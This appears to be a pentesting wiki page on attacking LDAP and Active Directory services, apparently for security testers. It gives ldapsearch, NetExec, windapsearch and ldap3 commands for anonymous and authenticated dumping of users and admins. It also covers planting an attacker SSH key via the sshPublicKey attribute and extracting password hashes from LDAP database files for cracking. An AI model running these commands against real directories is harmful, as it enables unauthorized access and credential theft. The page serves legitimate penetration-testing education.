> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# 389, 636, 3268, 3269 - Pentesting LDAP

> LDAP enumeration, anonymous bind exploitation, authenticated data extraction, password modification, Kerberos authentication, and post-exploitation techniques.

**LDAP (Lightweight Directory Access Protocol)** is used to locate entities such as organizations, users, and resources in networks. It powers Active Directory and many identity management systems.

**Default Ports:** 389 (LDAP), 636 (LDAPS), 3268/3269 (Global Catalog in AD)

## Anonymous Access

### LDAP Anonymous Bind

```bash theme={null}
# Test for anonymous bind
ldapsearch -H ldap://<IP> -x

# Get naming context
ldapsearch -H ldap://<IP> -x -s base namingcontexts

# Dump everything
ldapsearch -H ldap://<IP> -x -b "<Naming_Context>"

# TLS SNI bypass (sometimes allows anonymous access)
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
```

### Anonymous Enumeration with NetExec

```bash theme={null}
# Enumerate all objects
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""

# Dump users
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""

# Extract username list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
  | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
```

What to look for in anonymous results:

* `sAMAccountName`, `userPrincipalName`
* `memberOf` for group scope
* `pwdLastSet` temporal patterns
* `userAccountControl` flags (disabled, smartcard required)

## Authenticated Enumeration

```bash theme={null}
# Basic authenticated query
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' \
  -b "DC=<1_SUBDOMAIN>,DC=<TLD>"

# Extract users
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'johnpassw' \
  -b "CN=Users,DC=mydom,DC=local"

# Extract computers
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Computers,DC=mydom,DC=local"

# Extract Domain Admins
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Domain Admins,CN=Users,DC=mydom,DC=local"

# Extract Administrators group
ldapsearch -x -H ldap://<IP> -D 'DOMAIN\john' -w 'pass' \
  -b "CN=Administrators,CN=Builtin,DC=mydom,DC=local"

# Search for passwords in attributes
ldapsearch <cmd> | grep -i -A2 -B2 "userpas"
```

## Automated LDAP Dump

```bash theme={null}
# ldapdomaindump
pip3 install ldapdomaindump
ldapdomaindump <IP> -u 'DOMAIN\username' -p 'password' --no-json --no-grep

# windapsearch
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
```

## Python LDAP Enumeration

```python theme={null}
import ldap3

# Connect (try without credentials first)
server = ldap3.Server('x.X.x.X', get_info=ldap3.ALL, port=636, use_ssl=True)
connection = ldap3.Connection(server)
connection.bind()  # True = anonymous bind allowed
print(server.info)  # Shows naming context, domain name

# Search objects
connection.search(
    search_base='DC=DOMAIN,DC=DOMAIN',
    search_filter='(&(objectClass=*))',
    search_scope='SUBTREE',
    attributes='*'
)
print(connection.entries)
```

## Write LDAP Data

If you can modify values, interesting possibilities include:

```python theme={null}
# Modify sshPublicKey attribute (if SSH reads public keys from LDAP)
connection.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', {
    'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@evil'])]
})
# If SSH reads from LDAP: ssh -i attacker_private_key USER@target
```

## Kerberos Authentication

```bash theme={null}
# ldapsearch with Kerberos (GSSAPI)
ldapsearch -Y GSSAPI -H ldap://dc.domain.com -b "DC=domain,DC=com"

# NetExec LDAP BloodHound collection
nxc ldap <IP> -u <USERNAME> -p <PASSWORD> \
  --bloodhound -c All -d <DOMAIN.LOCAL> \
  --dns-server <IP> --dns-tcp
```

## Sniffing LDAP Credentials

<Warning>
  If LDAP is used without SSL (port 389), credentials are transmitted in plaintext and can be sniffed on the network. A MitM attack can force clients to use the clear-text authentication method.
</Warning>

## Graphical Tools

* **Apache Directory Studio** — Full-featured LDAP browser
* **jxplorer** — Graphical LDAP client
* **Godap** — Interactive TUI for LDAP (supports PTH, PTC, kerberos)
* **Ldapx** — LDAP proxy for obfuscating traffic

## Post-Exploitation: Extract Hashes

```bash theme={null}
# If you have access to LDAP database files
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
# Feed password hashes to john (from '{SSHA}' to 'structural')
```

## LDAP Configuration Files

```
/etc/ldap/ldap.conf
/etc/openldap/slapd.conf
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
```
